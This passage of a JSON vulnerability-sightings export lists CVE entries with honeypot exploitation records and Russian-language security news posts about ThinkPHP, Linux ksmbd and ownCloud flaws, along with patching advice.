\u0434\u043b\u044f \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0435\u0441\u0442\u044c \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 PoC.\n\n\u042d\u0442\u043e \u0437\u0430\u043c\u0435\u0442\u043d\u043e \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u0448\u0430\u043d\u0441 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u0430\u0436\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430, \u0447\u0442\u043e\u0431\u044b \u043e\u043d \u0441\u0442\u0430\u043b \u00ab\u0442\u043e\u0447\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u0430\u00bb \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443. \u0418 \u043d\u0435\u0432\u0430\u0436\u043d\u043e, \u0441\u0432\u0435\u0436\u0430\u044f \u044d\u0442\u043e CVE \u0438\u043b\u0438 \u0441\u0442\u0430\u0440\u0430\u044f \u2014 \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0430\u0442\u0430\u043a \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u0447\u0430\u0442\u044c\u0441\u044f \u0438\u043c\u0435\u043d\u043d\u043e \u0441 \u0442\u0430\u043a\u0438\u0445 \u0437\u0430\u0431\u044b\u0442\u044b\u0445 \u0438 \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0451\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u2757\ufe0f\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043a \u0437\u0430\u0449\u0438\u0442\u0435\n1. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c ThinkPHP \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438 \u2014 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0430\u0442\u0447\u0438.\n2. \u0418\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0445\u043e\u0441\u0442\u044b \u043e\u0442 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (ACL, firewall, VPN) \u0434\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b.\n3. \u0410\u0443\u0434\u0438\u0442 \u043b\u043e\u0433\u043e\u0432 \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043b\u043e\u0433\u0438 \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 30\u201390 \u0434\u043d\u0435\u0439 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.", "creation_timestamp": "2026-08-05T00:00:37.285979Z"}, {"uuid": "3bad8353-08d8-49f7-8f33-8e116b8d8940", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47939", "type": "seen", "source": "https://t.me/shmelovod/673", "content": "\u200b\ud83d\udc27 \u0412 \u044f\u0434\u0440\u0435 Linux \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0431\u0430\u0433\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Thales Group \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 ksmbd \u044f\u0434\u0440\u0430 Linux, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 5.15. \u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2022-47939 \u0438 10 \u0431\u0430\u043b\u043b\u043e\u0432 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS.\n\nksmbd - \u044d\u0442\u043e \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 SMB3 \u0438 \u044f\u0432\u043b\u044f\u044e\u0449\u0438\u0439\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043e\u0439 Samba. \u041e\u043d \u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u0432\u044b\u0441\u043e\u043a\u0443\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0438 \u043d\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e ksmbd \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u0441\u0430\u043c\u043e\u043c \u044f\u0434\u0440\u0435, \u0430 \u043d\u0435 \u0432 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0422\u0430\u043a\u0436\u0435 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 ksmbd \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 SMB-\u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441 \u043d\u0438\u043c\u0438.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434. \u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0431 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442\u043b\u043e\u0436\u0438\u043b\u0438 \u043f\u043e\u0447\u0442\u0438 \u043d\u0430 \u043f\u043e\u043b\u0433\u043e\u0434\u0430, \u0442.\u043a. \u0436\u0434\u0430\u043b\u0438 \u0432\u044b\u0445\u043e\u0434\u0430 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432 \u0441\u0438\u043b\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0431\u0430\u0433\u0430.\n\n\u0422\u0435\u043c, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 ksmbd, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u044f\u0434\u0440\u043e Linux \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 5.15.61 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u043e\u0439, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430.\n\n\ud83d\uddde \u0411\u043b\u043e\u0433 \u041a\u043e\u0434\u0435\u0431\u0430\u0439\n\n#news #linux #vulnerability", "creation_timestamp": "2026-08-05T00:00:53.685080Z"}, {"uuid": "b653baa6-3a35-40bd-ade6-0397e2c0cab4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-07)", "content": "", "creation_timestamp": "2026-08-08T11:06:26.036471Z"}, {"uuid": "127ad0a6-dca4-4ca8-a590-74dc659abdb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-03)", "content": "", "creation_timestamp": "2026-06-03T00:00:00.000000Z"}, {"uuid": "a5bb9679-7772-40ee-91ab-ec90c9625c0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-05)", "content": "", "creation_timestamp": "2026-06-05T00:00:00.000000Z"}, {"uuid": "f9c924c1-21f0-4c25-b3a2-3d6897ef2db1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-05)", "content": "", "creation_timestamp": "2026-06-05T00:00:00.000000Z"}, {"uuid": "3ed2ef53-33f8-4879-a652-9a749e48cfb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-20)", "content": "", "creation_timestamp": "2026-08-21T10:00:20.613493Z"}, {"uuid": "a96efb9e-80d4-493b-b3d4-c4ec028b094d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-08)", "content": "", "creation_timestamp": "2026-06-08T00:00:00.000000Z"}, {"uuid": "2f652dab-14a1-477a-986b-d980431b86f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-09)", "content": "", "creation_timestamp": "2026-06-09T00:00:00.000000Z"}, {"uuid": "042bfe75-7540-4cf2-82c0-0416f26a2622", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "exploited", "source": "https://t.me/cyberok_news/136", "content": "\ud83d\udeab \u0422\u041e\u041f-5 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 ThinkPHP \u0432 \u0420\u0443\u043d\u0435\u0442\u0435 (\u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043c\u0435\u0441\u044f\u0446)\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e\u0433\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0435 \u043f\u0440\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u0430\u043a \u0441\u0442\u0430\u0440\u044b\u0445, \u0442\u0430\u043a \u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u0430\u0445 ThinkPHP. \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b CyberOK \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u0440\u044f\u0434 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0442\u0430\u0440\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u0441\u0451 \u0435\u0449\u0451 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0432 2025-\u043c \u0433\u043e\u0434\u0443.\n\n\ud83d\udce1 \u0421\u041a\u0418\u041f\u0410 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 400 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u043e\u0432 \u0432 \u0420\u0443\u043d\u0435\u0442\u0435.\n\n\ud83c\udfc6 TOP-5 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\n CVE-2022-47945 \u2014 \u224828%\n CVE-2024-34467 \u2014 \u224827%\n CVE-2019-9082 \u2014 \u224815%\n CVE-2022-25481 \u2014 \u224812%\n CVE-2022-45982 \u2014 \u22485%\n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b CyberOK \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u044e\u0442 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u043e\u0432 \u0441 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u043c\u0438 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438. \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0432 \u0442\u043e\u043f\u0435 \u043b\u0438\u0434\u0438\u0440\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c 2022 \u0433\u043e\u0434\u0430. \u0414\u043b\u044f \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445 \u0442\u0430\u043a\u0438\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u2014 \u043b\u0451\u0433\u043a\u0430\u044f \u0434\u043e\u0431\u044b\u0447\u0430: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u044b, \u0434\u043b\u044f \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0435\u0441\u0442\u044c \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 PoC.\n\n\u042d\u0442\u043e \u0437\u0430\u043c\u0435\u0442\u043d\u043e \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u0448\u0430\u043d\u0441 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u0430\u0436\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430, \u0447\u0442\u043e\u0431\u044b \u043e\u043d \u0441\u0442\u0430\u043b \u00ab\u0442\u043e\u0447\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u0430\u00bb \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443. \u0418 \u043d\u0435\u0432\u0430\u0436\u043d\u043e, \u0441\u0432\u0435\u0436\u0430\u044f \u044d\u0442\u043e CVE \u0438\u043b\u0438 \u0441\u0442\u0430\u0440\u0430\u044f \u2014 \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0430\u0442\u0430\u043a \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u0447\u0430\u0442\u044c\u0441\u044f \u0438\u043c\u0435\u043d\u043d\u043e \u0441 \u0442\u0430\u043a\u0438\u0445 \u0437\u0430\u0431\u044b\u0442\u044b\u0445 \u0438 \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0451\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u2757\ufe0f\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043a \u0437\u0430\u0449\u0438\u0442\u0435\n1. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c ThinkPHP \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438 \u2014 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0430\u0442\u0447\u0438.\n2. \u0418\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0445\u043e\u0441\u0442\u044b \u043e\u0442 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (ACL, firewall, VPN) \u0434\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b.\n3. \u0410\u0443\u0434\u0438\u0442 \u043b\u043e\u0433\u043e\u0432 \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043b\u043e\u0433\u0438 \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 30\u201390 \u0434\u043d\u0435\u0439 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.", "creation_timestamp": "2026-08-06T00:00:48.054626Z"}, {"uuid": "85ba1628-b0e7-4fcf-a476-0801a2499de9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-15)", "content": "", "creation_timestamp": "2026-06-15T00:00:00.000000Z"}, {"uuid": "e629b2ad-7337-4148-8935-14f3cd418df3", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/85cebc34-24c3-4284-ab63-c0595ae0aadc", "content": "", "creation_timestamp": "2026-06-19T12:46:08.876118Z"}, {"uuid": "c8fe0fd6-fa46-4b33-8ba6-46bc61dbe755", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/4dc3e69e-6fc7-403b-855f-bc69533538a6", "content": "", "creation_timestamp": "2026-06-19T12:45:57.260315Z"}, {"uuid": "bfc65e51-abf5-4905-9e53-e8fb13ea4b86", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/db5b1d19-81ad-4304-a594-f590bd5d0b76", "content": "", "creation_timestamp": "2026-06-19T12:46:59.185911Z"}, {"uuid": "69342265-0067-4336-9c45-c02556a55525", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5b958ad0-e1f3-4185-a5c3-864083cec63c", "content": "", "creation_timestamp": "2026-06-19T12:47:00.106486Z"}, {"uuid": "255d83e0-fc64-4bde-9228-7ea361f71de1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "exploited", "source": "https://t.me/ZerodayAlert/426", "content": "\u0421\u0442\u0430\u0440\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0443\u0433\u0440\u043e\u0436\u0430\u0442\u044c \u0431\u0438\u0437\u043d\u0435\u0441\u0443 \u0432 2025 \u0433\u043e\u0434\u0443\n\n\u26a0\ufe0f \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b GreyNoise \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0440\u0435\u0437\u043a\u0438\u0439 \u0440\u043e\u0441\u0442 \u0430\u0442\u0430\u043a \u043d\u0430 \u0441\u0442\u0430\u0440\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 ThinkPHP \u0438 ownCloud, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0435\u0449\u0435 \u0432 2022-2023 \u0433\u043e\u0434\u0430\u0445. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u0430\u0442\u0447\u0435\u0439, \u0442\u044b\u0441\u044f\u0447\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0445 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\ud83c\udf10 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-47945 \u0432 ThinkPHP \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 570 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434. \u041f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0441\u0442\u0435\u0442 \u0447\u0438\u0441\u043b\u043e \u0430\u0442\u0430\u043a \u043d\u0430 CVE-2023-49103 \u0432 ownCloud, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e PHP-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443.\n\n\ud83d\udee1 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u0445\u043e\u0434\u044f\u0442 \u0432 \u0441\u043f\u0438\u0441\u043e\u043a 